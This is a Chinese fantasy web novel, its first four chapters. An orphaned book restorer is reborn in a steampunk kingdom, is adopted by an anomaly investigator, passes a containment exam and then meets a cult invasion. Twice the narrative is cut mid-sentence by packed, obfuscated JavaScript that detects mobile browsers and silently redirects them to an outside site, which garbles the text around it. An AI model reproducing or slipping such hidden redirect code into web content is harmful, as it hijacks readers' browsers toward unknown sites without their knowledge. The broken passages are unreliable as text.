《踏碎混沌重登成神》 1. 序章:启程 安弥快要死了。 一年前,她做了一个怪梦。梦里是一个看不清面孔的白衣女子,正对着她发出断断续续的低语: “……不能……留在……这里……” “……祂……来了……” “……快来……” “……找到……终结……一切……” 那声音低沉、绝望,像是直接传达到她的脑海里,让她的心猛然沉了下去,灵魂都仿佛随之震颤。 自那以后,每天晚上,这个噩梦都会再次降临。 随着时间的推移,那个女人离她越来越近、越来越近,她却始终看不清她的面目。 蹊跷的是,随着那个女人梦中的接近,安弥现实里的身体也越来越差。 最开始,是身体的骤然消瘦。明明饮食习惯和日常活动都没有任何变化,但她却肉眼可见地一天天消瘦了下去。 然后是如潮水般突然袭来的疲惫感。她是一位古籍修复师,工作并不繁重,却屡屡突然昏睡在工作台上。 最后是感官的衰退。她那双引以为傲的、能分辨出古纸细微差异的眼睛开始变得模糊。她最喜欢的工作室里油墨与故纸的气味,也开始变得寡淡。 那种感觉就像是,她正在被那个梦一点一点地从这个现实世界里抹除。 为此,她走遍了市内最好的三甲医院,从头到脚查了个遍,没查出任何健康问题。 去看了好几个盛名在外的老中医,苦涩的汤药喝了一副又一副,丝毫不见好转。 她长大的福利院的张院长甚至带她去求助了玄学,找了各种各样的大师作法、驱邪、祈福,没有任何作用。 唯独,有一位灵隐寺的僧人直接拒绝了她们的求助,只留下了一段莫名其妙的断语: 身是浮萍,命如孤星。 尘缘将尽,神魂当离。 听了这位僧人的话,虽然还会配合张院长的各种努力,但随着梦中女人一天天的接近和现实健康一天天的恶化,安弥逐渐相信了自己命不久矣的可能。 她开始平静地为自己的离开做准备。 把自己出租屋的用品分类,福利院能用得上的保留,没用的就尽可能地换成钱。 将她的出租屋打扫得干干净净。 最后,去银行将自己所有的积蓄都取了出来,回到了那个把她养大的地方——市福利院。 当形销骨立、身体虚弱的她把捐给福利院的用品和装满了钱的信封交给张院长时,张院长已经泪眼婆娑。 最后的那个夜晚,安弥是在福利院医务室的病床上度过的。她陷入了深度昏迷。 张院长守在床边,握着她冰冷的手。手里是一本安弥最喜欢的、被翻得卷边的《牧羊少年奇幻之旅》。 张院长一边流泪,一边哽咽着为这个即将踏上遥远旅途的孩子念出了那几句最充满祝福与勇气的话: “宇宙的灵魂既以人类的喜悦为养,也以他们的不幸、嫉妒与羡慕为食。” “成就自身的天命,是人类唯一不可推卸的责任。” “万物同源,本为一体。” “当你真心渴望某样东西时,整个宇宙都会联合起来,助你达成所愿。” …… 在最深的梦里,安弥最后一次看见了那个白衣女子。 这一次,女人没有低语。 她直接冲了上来,用一个冰冷决绝、如宇宙般浩瀚的拥抱,将安弥彻底吞没。 而现实世界里,心电图上的曲线终于化作了一条不再有任何起伏的直线。 —— 阿尔比恩联合王国,灰港。 安培风独自一人坐在这片少无人烟的黑色礁石上。 天已经黑了,空气里弥漫着煤烟与铁锈的味道,海上黑压压的一片,遥远的轮渡发出了低沉的汽笛声。 距离他的挚友和爱人,也是他并肩作伴的战友,去世已经两年了。 他们去世后,他选择把自己从新阿尔比恩RBAP总部流放到了灰港分部,这个他们小队第一次展露头角的地方。 那次任务完成得非常漂亮。 几个意气风发的年轻人在完成任务临行的前一晚,来到了这片无人的海滩,在这里点燃篝火,喝着劣质啤酒畅想未来。 伊莉丝,那个后来成为他未婚妻的女孩,指着漫天的星辰,笑着为这个无名的地方取下了一个专属于他们的名字——星辰礁石。 她的欢声笑语犹在耳畔,让这个满心哀伤的男人嘴角不由勾起了一丝苦涩的笑意。 就在这时,一阵急促而尖锐的的滴滴声突然响了起来,打断了他的思绪。 是他随身携带的以太侦测罗盘。 有异常能量波动!安培风猛地站了起来,顺着罗盘指引的方向走去。 然后,他看到了。 就在离他50米远的地方,空气产生了如波纹散开般的波动。 就是这里了! 他立刻停住了脚步,紧紧盯着那处,手摸上腰间的武装带,做好随时战斗的准备。 然后,那里缓缓地出现了一个穿着单薄白裙、赤着脚的小女孩。 小女孩黑发黑眸,眼神一片茫然。 以太侦测罗盘安静了下来。 —— 当安弥恢复神志的时候,她正站在一个布满黑色礁石的海边。 ……这是哪里?她不是躺在福利院医务室的病床上吗? 这就是人死后会去到的世界吗? 海边的冷风刺骨,她忍不住抱住了自己的手臂。 手臂细弱,安弥这才发现,自己竟在一具小女孩的身体里。小女孩赤着脚,身上只穿了一件白色的裙子。 自己这是,穿越了? 还没来得及思考更多,她就听到了脚步声。 一个身着她从未见过的古典军官制服的东方男人,正在缓慢向她靠近。 男人的表情震惊之余又带了些警惕,在离她十步远的地方停了下来:“是谁?” 眼前的人说的不是中文。 也不是任何安弥在现实世界所知的任何语言。 但奇异的是,安弥竟毫无障碍地听懂了来者的语言。 她张开了被冻得青紫的嘴巴,声音细若蚊蚋:“……安弥。” “你好,安弥,”男人远远地站着,向她出示了自己的证件,“我叫安培风,是RBAP的调查官。天色这么晚了,你怎么一个人在这里?” 安弥茫然地摇了摇头,“我不知道。” “你的家在哪里?我送你回家。” 安弥努力回想,却发现脑海中关于这个世界的信息空空如也,只能摇了摇头,“我也不知道我的家在哪里。” 安培风继续问道:“那你有家人吗?知道爸爸妈妈的名字吗?” 安弥摇头:“我只知道自己的名字,其他都不记得了。” 看到她似乎并没有什么攻击性,以太侦测罗盘也没再有任何异动,安培风才脱下了自己那件还带着体温的指挥官夹克,走上前把小女孩瑟瑟发抖的身体裹住了:“天太晚了,你一个小女孩在这里不安全,我先带你回调查局好吗?” 安弥看着眼前这个眉眼坚毅的男人,点了点头。 —— 安培风把她安置在了RBAP灰港分局的一间医务室里,给她倒了一杯热水,便出去了。 不一会儿,门又被推开了。 走进来的是一位身材丰腴的中年妇人。 她的头发是温暖的亚麻色,松松地盘在脑后。脸上有几点雀斑,如天空般蔚蓝的眼睛盛满了温暖的善意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536755|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她穿着一身深蓝色的、上面满是口袋与搭扣的工装连衣裙,腰间挂了一大串钥匙,走起路来叮当作响,手里端着一碗香气四溢、热气腾腾的肉汤,看到安弥的瞬间,就笑了起来:“哦!可怜的小家伙。在外面冻坏了吧?” “我叫玛格丽特·史密斯,是这里的后勤主管,”她对着安弥眨了一下眼睛,“你可以叫我史密斯太太。来,孩子,快喝碗肉汤暖暖身子。” 安弥就这样在医务室暂时住了下来。开朗热情的史密斯太太给了她无微不至的照顾,让她时不时想起她在现代时福利院的张院长,不由地对她产生了许多亲近之感。 偶尔安培风和局里其他的一些调查员也会来看望她。 这里的每个人都对她充满了善意,她逐渐喜欢上了这个地方。 从人们的交谈之中她了解到,她所在的地方是阿尔比恩联合王国治下一个叫做灰港的城市,一个在现实世界并不存在的地方。 调查局调查了几天,没有查到任何跟她有关的信息,加上她又失去了记忆,她的去处就成了问题。 “按照规定,我们需要把这孩子送到福利院去。”安培风说道。 安弥听了,猛地抬起了眼睛,她才刚刚喜欢上了这里,又要被送走了吗? 史密斯太太安抚地拍了拍安弥的肩膀:“放心,我的孩子,有史密斯太太在,谁都不能把你送走!” 安培风微微皱起了眉头:“什么意思,史密斯?” 史密斯太太把安弥拉到了安培风面前,“看看这个孩子,安。” “她和你长得一模一样,黑色的头发,黑色的眼睛!她一定是来自你的故国华胥古国的孩子,她甚至跟你一个姓!” “这绝对不是巧合。这是上帝的指引,是命运的安排!” “自从伊莉丝去世后,你就再也没笑过了,一天天只知道麻木地工作。你需要一个家人,让你感觉你还活着。” “这个孩子,一定是伊莉丝送到你身边的,她不想看到你这样孤独地一个人活下去。” “所以,从今以后,这个孩子,你就是她的监护人,她就是你的女儿了!” 安培风看着眼前这个明显自于东方的、黑发黑眸的、安静得像一只小猫般的女孩,她正瞪着一双湿润的怯生生的眼睛,看着他俩交谈。 安培风短暂思考了下,还是摇了摇头:“不行,史密斯,我没有带孩子的经验。” 他说的是实话。 作为一个调查员、一个军人、一个指挥官,他懂得如何对付异常、收容怪物、打败敌人,他却不知道如何要养育一个10岁的小女孩,如何为她梳头、讲睡前故事。 史密斯太太下巴一扬,霸气道:“这你不用担心!孩子不用你照顾!” “就养在我们的调查局里。” “我,负责给她做饭!” “老约翰,负责接送她上学!” “还有你的队员们,可以教她打枪!” “至于你,安大指挥官……”她上下打量了一下被她怼得哑口无言的安培风,一锤定音,“你就负责当她的监护人、她的爸爸!你只需要每个月按时从你的工资里掏抚养费就行了!” “——听到了没有?!” 被史密斯太太连珠炮似的反驳,安培风一时哑口无言。 史密斯太太敏锐地捕捉到了他的动摇,立刻转头问安弥,“怎么样,我的小安弥?愿意和我们生活在一起吗?” 安弥点了点头,“我很愿意,史密斯太太。” 史密斯太太趁热打铁,接着问道,“那你愿意让这个人成为你的监护人、你的爸爸吗?” 安培风的目光跟着投了过来。 安弥怯生生看了看安培风,又看了看史密斯太太,最终点了点头,“……我愿意。” 2. 灰港分部的早晨 清晨的第一缕阳光透过斑驳的百叶窗,落在安弥卧室里放置的那张因潮气浸染而暗沉的木桌上。 光束里漂浮着细密的尘埃,在空气里缓慢旋转。 窗外传来轮船装卸货物的轰鸣与齿轮转动的声浪,伴随着远处海上轮渡的汽笛声,和空气中蒸汽与铁锈混杂的味道,构成了灰港一如往常的清晨。 “叮铃铃——”床头柜上的黄铜闹钟突然响了起来。 从沉睡中被唤醒的安弥没有睁开眼睛,直接伸出手摸索着按掉了闹钟,伸了个长长的懒腰,才从床上坐了起来。 时间过得飞快,安弥在这间小小的RBAP灰港分局里,已经生活了十年了。 今天,是她从RBAP的见习调查员晋升为正式调查员的考核的日子。 从小在这里长大的她,已经知道RBAP是一个特殊的组织,外部和内部是两个截然不同身份定位。 对外,它是皇家古物保护局(RoyalBureauofAntiquitiesPreservation),隶属于皇家博物馆与国家历史档案馆,负责发掘、保护及修复国家级历史文物与文化遗产。 而实际上,它的真实面目,是150多年前由伟大的帝国开国元勋奥古斯都·卡文迪许亲自推动建立的皇家异常现象调查局(RoyalBureauofAnomalousPhenomena),负责收容、控制和研究那些无法被现有科学所解释的、足以颠覆世界观的异常存在,保护普通民众的生命安全,维持他们正常的生活不被打扰。 这,才是RBAP真正的使命。由于他们的双面性质,他们喜欢称自己为“守夜人”。 安弥所在的RBAP灰港分部,正是这张保护着阿尔比恩联合王国的巨大蛛网上一个不起眼却又至关重要的节点。 虽然它体量不大,加上指挥官安培风在内,满打满算战斗人员也不超过20人。但它却是联合王国最早一批建立的RBAP分部。 地面之上,看上去就像一个普通的皇家机构,拥有后勤办公室、档案室、训练场,以及一个总是飘着咖啡与烘焙的甜点香气,时常传出人们谈笑声的茶水间。 里面的工作人员衣着考究,绝大多数都穿着双排黄铜纽扣、皮革镶边的深灰色立领夹克和白色高领的棉质衬衫,以及一件与夹克同色的、有多个口袋的马甲。 而地面之下,却是深达七层的收容井,镌刻着符文的厚重大门背后,封印着一旦失控就能让整座城市陷入噩梦的存在。 今天,安弥要面对的,正是加入这个危机四伏的机构那道门槛。 对此,她已经做了充分的准备。 她穿上了那件平时战斗起来最方便的深灰色训练夹克——因为常年的训练和洗涤,袖口处已经磨得发白。腰间系上了那条被她自己改装过的武装袋,上面挂上了水壶、热能弹、手雷和各种各样的小工具。 她走到镜子前,镜子里的女孩拥有着一头漆黑如墨的及肩短发,皮肤白皙,眼睛是如同黑曜石般温润的黑色,随着年纪渐长,她发现自己长成了跟前世几乎一模一样的脸。 只是因为常年的训练,如今的她的站姿笔直,腰身挺拔,前世稍嫌单薄的身材此时已经变得矫健敏捷。 “安弥——起床啦!今天我烤了你最爱的苹果派!”史密斯太太的大嗓门在门外响了起来。 “来啦!”安弥最后看了一眼镜子,满意地勾起嘴角,转身冲出门,一把搂住了史密斯太太,“早上好,史密斯太太!” 走进调查局的员工食堂时,里面已经热热闹闹地开饭了。食堂里只有十多个人,都是安弥熟悉的面孔。 食堂的墙壁上挂着几盏煤气灯,灯罩因为油烟经年累月的浸染而有些发黄,铁质通风管道交错在天花板,呼呼地吐出热气,空气里弥漫着烤吐司的焦香与手磨咖啡的醇厚味道。 史密斯太太从厨房的保温柜里端出了一大块金黄酥脆、散发着浓郁肉桂香气的苹果派,这是她特意用最好的黄油和苹果为安弥一个人烤制的。 她先是用威胁的眼神将食堂里那些对这块苹果派虎视眈眈的调查员震慑走,才笑眯眯地对安弥说,“我亲爱的小安弥,这是史密斯太太专门为你烤制的必胜苹果派!吃了它,把所有的难题都像劈柴一样劈开!” 安弥开心地接过咬了一口,满口香甜,满足地发出了叹息:“好香!我爱你,史密斯太太!吃下这个苹果派,我能打十个!” “嘿,安弥!”一个洪亮的声音插了进来。 说话的是托马斯,他端着一个堆得像小山一样高的餐盘,大剌剌地坐到了安弥的对面。 他的金发乱糟糟地翘着,脸上挂着一层永远刮不干净的胡茬,制服外套没扣纽扣,只是披在了身上,袖子随意地挽到手肘,露出因训练而粗糙结实的手臂。 安弥刚到这个世界的时候,他还是一个新入职的实习调查员,现在他已经是一支小队的队长了。 托马斯嘴里塞满了炒蛋和培根,说话的声音含糊不清,那双总是落拓不羁的眼睛里,此时充满了真诚的关切:“怎么样,丫头,紧张吗?” 说罢,他咽下嘴里的食物,压低了声音,“这次你的主考官是从总部来的铁面维克多,原本是来送从总部运来的收容物的,你爸专门邀请他做你的主考官。这个家伙难搞得很,要不要托马斯大哥我给你透漏一点情报?” 安弥嘻嘻一笑,随手将自己不喜欢吃的培根丢进了托马斯的餐盘里,“不用啦,托马斯!只是个考核而已,比咱们平时出的任务简单多了,轻轻松松!” “哟,还挺自信。”托马斯咧嘴一笑,正要继续调侃,结果额头上结结实实挨了一记铁勺——是史密斯太太远远投来的精准打击。 “闭嘴托马斯,不要动摇我的小安弥的自信心!” 食堂里响起了一片善意的哄笑。 就在这时,一个冰冷的、与食堂温暖的氛围格格不入的声音在食堂的门口响了起来:“考核可没你想得那么简单。” 食堂的哄笑声戛然而止。 所有人都下意识地向门口看去,说话的正是安弥的主考官,来自RBAP总部的指挥官维克多·琼斯。 与灰港分部那充满实用主义色彩的灰色制服不同,他穿的是一身总部特有的黑色精英调查官制服。 此时正抱着双臂,面无表情地倚在门框上,“我不是你灰港的家人,在我这里没有任何情面可言,你最好是有真材实料,否则就算你爸安培风的面子,我也不会通融的。” 维克多·琼斯不属于灰港分部,是为了护送总部的收容物到灰港才出现在这里的。 他原本打算东西一送到就走,刚好赶上安弥的晋升考核,被安培风拜托来由他考核安弥,他便答应了。 事实上,他对灰港这群懒散的、讲究无意义人情味的乌合之众毫无好感。 他不能理解为什么安培风作为BRAP曾经最耀眼的黄金小队的顶级战力,为什么放着大好的前程不要,跑到这样一个鸟不拉屎的地方来蹉跎时间。 安培风的前队友菲利克斯·芬奇,现在都已经是新阿尔比恩总部技术研发部的主管了。 听了维克多的话,史密斯太太收敛了脸上的笑意,皱着眉审视着这个来自总部、自视甚高的指挥官。 “维克多,你这个混蛋在说什么!不要小看灰港分局的能力!”托马斯怒从心起,正要冲上去理论,却被安弥拦住了。 安弥笑了笑,对维克多的挑衅毫不在意,“我明白,琼斯指挥官。战斗不是儿戏,考核也不是讲情面的场合。我相信我的实力,不会让你失望的。” 维克多·琼斯嘴唇弯了弯,没再说什么,便去取餐了。 “安弥。”这时,一个粗哑的、像是生锈的齿轮摩擦一样的声音响了起来,是门卫老约翰。 虽然不是执勤时间,他依然将自己的那身门卫制服穿得一丝不苟。 他端着一杯黑咖啡走了过来,像铁塔一样矗立在安弥面前,另一只手从自己的制服口袋里掏出了一个用手帕小心翼翼包裹着的东西,放在了安弥的手上。 “拿着它,”他带着旧伤疤的独眼里盈满了温柔,“这是老约翰给你的护身符。” 安弥致谢接过,好奇地打开手帕, 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安培风严肃的表情瞬间破功,眼底再也掩不住笑意与骄傲。 他清了清嗓子,转向众人,“刚接到了亚瑟的赫尔墨斯信鸽,他搭乘的凛冬信使号飞空艇将于今天下午四点抵达灰港,正好可以赶上今晚的庆功晚宴。” 片刻的寂静后,整个食堂爆发出雷鸣般的欢呼。 “太好了!”安弥更是欢欣雀跃。 “亚瑟这小子,还挺会挑日子!”托马斯大声说。 老约翰说:“说不定正是知道了安弥今天考核,才赶回来的。” 亚瑟是安培风牺牲的战友加文的孩子,比安弥大三岁。他的父母去世后,安培风收养了他,并把他安置在了灰港分部的宿舍里,就住在安弥的隔壁。 所以严格意义上来说,他算是安弥的哥哥。和安弥一样,他也是整个灰港调查局看着长大的孩子。 亚瑟为人正直善良,办事沉稳可靠,今年才25岁,年初就通过了精英调查员的考核,哪怕放在新阿尔比恩总部,这也是一个非常了不起的成绩。可惜他刚一通过考核,就被派去凛冬公国出差了。 调查局里的老调查员们隔三差五就念叨“可靠的小亚瑟什么时候回来”,安弥自己更是无比想念和自己一起长大的哥哥,如今,他终于要回来了。 安弥刚到灰港分部的时候,身体孱弱,安培风便让她不上学的时候,跟着调查员们一起训练。 那时候她什么都不懂,训练中总是落在最后。就是那时候,她见到了13岁的亚瑟。他在那个年纪,就已经能和局里的正式调查员打得有来有回了。 自从安培风将她带到他面前,亚瑟便开始每天雷打不动地在训练场上监督她进行最枯燥的体能训练。 “站直了,安弥!”少年时期的亚瑟,声音里还带着一丝稚嫩,但语气已经像个小大人一样充满了不容置疑的坚定,“我们是这个城市的‘守夜人’,只有自己足够强大,才能守护灰港,守护大家!” 正是年幼的亚瑟和眼前的安培风,让安弥从一个身体孱弱的小女孩,成长成了一个强大自信的准调查员。 安培风低头看了眼怀表,对安弥道,“我作为考核的主考官之一,得提前到场进行设备检查。你可以再休息一会儿,记得九点之前到三号考核场报道。” 安弥点了点头,“好的,爸爸!” 安弥目送安培风离开,嘴角含笑地环视这间充满了食物和咖啡香气的小小食堂。 托马斯已经转过头去,正在和第三小队的队长大声吹嘘着自己当年考核精英调查员的精彩表现。 史密斯太太在不远处大声呵斥几个浪费食物的见习调查员。 老约翰正襟危坐地坐在桌子旁,慢慢地咀嚼着眼前的食物,每咀嚼完一口,就闭上眼睛一会儿,仔细体会食物的味道。他告诉过安弥,这是一种冥想的方式。 这就是她在灰港这间小小的调查局里,最温馨的日常。 而今天,她将会用行动证明,自己有资格与他们并肩守护这片城市,守护他们的家。 3. 新一代的王牌 RBAP灰港分部,综合战术考核场。 整个场地像一个被挖空的山腹,上方是厚达数米的防爆玻璃天窗,惨白的阳光从中投射下来,却带不来一丝暖意。 这里平时是调查员们的训练场地,但每当有新人考核的时候,就会升起防爆玻璃用来考核。 场馆的墙壁是由漆黑的黑曜石砖块砌成的,用以吸收和隔绝考核过程中可能失控的异常能量。 砖块之间纵横交错地镶嵌着无数裸露在外的黄铜管道,管道上布满了大大小小的压力阀门和仪表盘,指针正随着管道内奔腾的蒸汽微微颤动,发出“嘶嘶”的轻响。 场地中央则是由数百块六边形金属地板拼接而成的战术平台。 考核场二层的强化玻璃围起来的观察席上,几乎挤满了所有不用执勤的分部成员。 这是灰港分部不成文的传统——每当有新人考核,大家就会聚集在观察席上围观。 今天更是非比寻常,因为三号考核场站着的,是大家从小看着长大的安弥。隔壁考核场门可罗雀,这里却比早上的食堂开饭还要热闹,连夜班睡懒觉的调查员都跑来了。 史密斯太太紧张地攥着她的围裙,嘴里不停地念叨着:“哦,我的上帝,那孩子没问题吧?我看她早上也没吃多少,能量够不够啊?” “小安弥肯定没问题的!”老约翰站在她的旁边,粗声粗气地说。他的独眼一眨不眨地盯着场地中央那个小小的身影,那眼神比他看守大门时还要专注一百倍。 托马斯则抱着双臂靠在墙边,脸上带着一丝炫耀般的笑容,对身边几个年轻的调查员吹嘘着:“看着吧,小崽子们。今天,就让你们见识一下,什么叫天赋、什么叫王牌!” “考核,正式开始!” 主考官维克多的声音,通过老旧的、发出“滋滋”电流声的广播,响彻整个考核场。 维克多,人送外号“铁面”,是来自新阿尔比恩调查局的精英调查官,以严苛和不近人情著称。此刻正坐在主控台后,面无表情地盯着场内的安弥。 他按下一个红色的按钮,冷酷地开始下达指令: “考生安弥,你的任务目标——样本ALB-G-236,活性金属史莱姆,将在十秒后从你左后方的三号收容口放出。” “任务要求:在不杀死样本的前提下,将其完整地驱赶并封印进你右手边的银质魂匣之中。时限十分钟。” “注意,该目标对象具有对热能兴奋的特质。考核期间,场地内的消防喷淋系统将处于禁用状态,考生请自行斟酌处理。” “考核、开始!” 安弥静静地站在场地中央。 那双平时总是或充满好奇、或带着笑意的如同黑曜石般的的眼眸,此时显得自信而专注,一动不动地紧盯着收容口的方向。 听到维克多的开始口令,她瞬间绷紧了身体,摸上了自己的武装袋,随时应对史莱姆的出现方式和可能。 十秒后,三号收容口“嗤”的一声,喷出了一大滩银色的、如同水银般的粘稠液体,正是活性金属史莱姆。 史莱姆没有固定的形态,在地上蠕动着。突然,毫无预兆地,它像一颗炮弹一样,朝着安弥弹射而去。 安弥的眼中没有丝毫的慌乱,从容侧身,滑步,身体以一个近乎于舞蹈般的优美姿态,轻松躲过了史莱姆的第一次扑击。 托马斯紧紧盯着她脚边的拟态箱,心里直捏一把汗——这个史莱姆体积不小,用拟态箱捕捉恐怕不是一件轻松的事情。 然而,安弥却没有去拿拟态箱,而是不退反进,主动向着那滩史莱姆冲了过去。 就在即将接触的前一刻,她猛地一个翻滚,从腰间的武装带上解下了一颗小小的、圆形的炼金热能弹,反手朝着远离魂匣的考核场的另一个角落扔了出去。 “嗡——”热能弹在空中,发出一阵高频的嗡鸣和热量。 那只史莱姆在感受到热量后,瞬间就兴奋了起来,放弃了安弥这个目标,像个看到了糖果的孩子一样,疯狂地扭动着朝着那个热能弹的方向扑了过去。 “漂亮!”观察席上,托马斯忍不住大声叫了出来。 他本以为安弥会利用场地提供的拟态箱去捕捉史莱姆,没想到安弥的思路比他高了一个维度——她根本没有去对抗那只史莱姆,而是利用金属史莱姆对热能兴奋的特质,将这场捕捉变成了一场简单的遛狗游戏。 没有意外的话,接下来安弥只需要用热能弹,将这只因为热能兴奋的史莱姆一步一步地引诱到魂匣入口,就能轻松完成这场战斗。 就在这时,异变骤生。 那只被热能球吸引的史莱姆,在接触到热源的瞬间,身体猛地膨胀了起来。它不再是一滩液体,而是变成了一个高达两米的沸腾着的银色巨型生物。更可怕的是,它的身体开始分裂。 一大块滚烫的金属液体从它的主体上被甩了出来,变成了一个小一号的、新的活性金属史莱姆。 主考官维克多那张铁面上露出了一丝冰冷的笑容。 ALB-G-236不是普通的金属史莱姆,不仅强度远高于普通金属史莱姆,它还有一个特殊的特质——在过度兴奋状态下还会进入热能增殖模式。这是他在浏览了灰港现存收容物的资料之后,特意挑选的。 观察席上传来一阵惊呼。 史密斯太太捂住了嘴:“哦!我的小安弥!” “该死!G236跟别的金属史莱姆不一样,遇到热能会增殖!维克多这个混蛋!居然没有提前说明!”托马斯低声咒骂了一句,他的心也提到了嗓子眼。 场地中央,安弥的脸色终于变得凝重了起来,她的大脑飞速运转,开始构思接下来的对策。 当那只新分裂出的小史莱姆朝着她扑来的瞬间,安弥做出了一个所有人都意想不到的动作。 她依旧没有后退,也没有使用任何攻击性道具,而是迅速地从武装带上解下了她的水壶,拧开盖子,将里面冰冷的清水,朝着那只小史莱姆猛地泼了过去。 ——嗤啦! 滚烫的金属液体,在接触到冷水的瞬间,爆发出了一阵剧烈的水蒸气。 那只小史莱姆的动作,瞬间变得迟滞僵硬,甚至有一部分,因为急剧的降温,而凝固成了固态的、无法动弹的金属块。 物理降温——简单的原理,有效的应对。 解决了眼前的危机,安弥凝神开始了一场多线操作的“温控表演”。 她一会儿用热能弹将那只巨大的母体精准地引诱向魂匣的方向,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536757|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿又用冷水和小型炼金冰冻手雷,去冻结和迟滞那些不断被分裂出来的、烦人的小史莱姆。 她的身影在整个场地上来回穿梭,从容又灵活,像一个顶级的控场大师。 最后,她终于成功地将那只巨大的母体引诱到了魂匣的入口前。 史密斯太太激动地抓住了托马斯的胳膊:“是不是成了?” 托马斯担忧地盯着场地中的史莱姆,说:“不行,这只母体的状态过度活跃,恐怕很难……” 但托马斯的担心是多余的,安弥并没有立刻收容它,而是再次做出了一个大胆的动作——她朝着母体的脚下扔出了一颗最大功率的热能弹。 史莱姆母体在最后的疯狂中剧烈地沸腾了起来,一次性分裂出了七八只小史莱姆。 观察席的众人都屏住了呼吸,紧张了起来。 然后,就在那些小史莱姆即将四散而逃的瞬间,安弥引爆了她早前布置在魂匣周围的三个炼金冰冻手雷。 ——轰! 刺骨的寒气,瞬间席卷了整个区域。 所有的刚刚才分裂出来的小史莱姆,连同那只巨大的母体,全都一瞬间被冻结成了无法动弹的金属雕塑。 然后,安弥走到魂匣前,按下了强制吸收的按钮。 所有的雕塑都被一股强大的引力无可抗拒地吸入了魂匣之中。 白光一闪,收容成功。用时八分十五秒。 观察席上,一片死寂。 随即,爆发出了一阵雷鸣般的、经久不息的掌声与喝彩。 在二号场馆考核的安培风听到了隔壁如雷的欢呼声,露出了满意的笑容。 安弥一出考核场,就被众人围了上来。 托马斯用力地搂了一下安弥的肩膀,又飞快放开:“安弥!太棒了!我都没注意到那几个冰冻手雷!” 安弥嘻嘻笑着,“就是遛史莱姆的时候放的呀。” 维克多·琼斯也走了出来,拍了拍安弥的肩膀:“做的不错!不愧是安培风的女儿!” 这原本是灰港分部最寻常不过的一天。 就在这时,警报响了。 不是代表收容失效的、沉闷的蜂鸣,也不是代表外部入侵的、急促的铜钟声,而是如同金属被活生生撕裂般的嘶鸣,尖锐、高频,安弥在调查局生活了十多年,都没有听过这种声音。 “该死!最高警戒!发生了什么?”托马斯警觉地观察着周围。 “——滋啦!” 仿佛为了印证警报的不祥,下一个瞬间,整个世界坠入了黑暗。 穹顶投下的阳光、墙壁上的煤气灯、仪表盘上闪烁的指示灯……所有的光源,都在同一时刻被一只无形的手掐灭了。 恐慌在绝对的黑暗中如同瘟疫般蔓延。人们的惊呼、碰撞、和桌椅倒地的声音混杂在一起。 安弥立刻取出腰间武装带上的战术手电,却发现那枚由炼金核心驱动的灯泡只能发出一丝微弱黯淡的光芒,随即便如同垂死的萤火虫般,彻底熄了。 安弥在安培风的战斗手册上看到过这种情形,这不是停电,而是暗之住民特有的一种概念性的光源剥夺。 暗之住民!那个潜伏在灰港地下的臭名昭著的秘密教团!安弥咬牙,他们好大的胆子! 4. 暗之住民入侵 如同一个世纪般漫长的五秒后,一种新的光源出现了。 那是一种猩红色的灯光,如同刚刚流出的动脉血般粘稠,从墙角的备用灯槽里无声地亮了起来,将整个分部都染成了一片地狱般的血红色。 是暗夜协议,灰港分局专门应对类似暗之住民这种概念性光源剥夺准备的应急措施。 与此同时,安培风的声音从墙壁上老旧的广播喇叭里传了出来,冷静的声音如同定海神针般,瞬间压制住了所有人的恐慌:“暗之住民入侵,暗夜协议启动,照明已恢复。所有人员保持安静,听我指挥。” 安培风停顿了几秒,开始部署。 “史密斯、老约翰,优先安排非战斗人员进入安全屋!” 史密斯太太手拿扩音喇叭,愤怒而坚定地咆哮:“都别傻站着!研究员!档案员!跟我走!快!”人群在老约翰和后勤人员的组织下,开始有条不紊地向着最近的安全屋撤离。 安弥的眼睛已经适应了这血色的光芒。她没有动,和其他所有的战斗人员一样,在原地握紧了自己的武器,等待着下一道指令。 办公室里,安培风的脸色凝重如铁。他按下了面前的交换机按钮,接通了内部通讯线路:“各通讯员,报告情况。” 通讯员们因为恐慌、急迫而变了调的声音此起彼伏地响了起来。 “报告指挥官!地面入口……大门完好!但、但防御墙的内部,有东西在动!像……像有什么东西,要从墙里面长出来了!” “地下二层!通风管道里……爬出了大量的暗之住民教团的血肉信徒!” “地下五层!通往Keter级收容区的主闸门……它的安全协议,被从内部授予了最高权限的开启指令!” 安培风的瞳孔骤然收缩。 这不是简单的入侵,而是一场里应外合、早有预谋的人祸。而且,这背后的人物的权限,比他想象的要大得多。 但现在还不是处理这些的时候。 “外勤小队,立刻前往地面入口,在平民区被波及之前建立第一防线!” “第三小队,去军械库,提取所有可提取的照明弹和燃烧.弹,优先供给主防线!这是对付暗之住民的最有效手段!” “托马斯!你带领灰港分部的调查官们,负责清剿所有墙中爬出来的血肉信徒!特别留意食堂、宿舍区等地形复杂的渗透点!” “维克多指挥官!你和你的人负责清剿地下二层至四层,确保收容井四层以上的物理空间不被渗透!你们拥有最高级别的自主交火权!” “五层以下,我亲自处理。”说罢,他立刻转身抓起挂在墙上的指挥官夹克,大步流星地朝着收容井的紧急通道走去。 这几年一到四层有活性的收容物都陆续被调往了总部,所以只要手动关闭五层以下的闸门,就不用担心收容物失控的问题了。 但五层的闸门竟然会被人从内部开启,这让安培风的心中产生了莫名的不安。 安培风的快速部署一完毕,托马斯和维克多就立刻进入了战斗状态,转守为攻,带领调查官们迎战暗之住民。 他们手握武器,借着猩红色的灯光,紧紧盯着四下的墙壁。 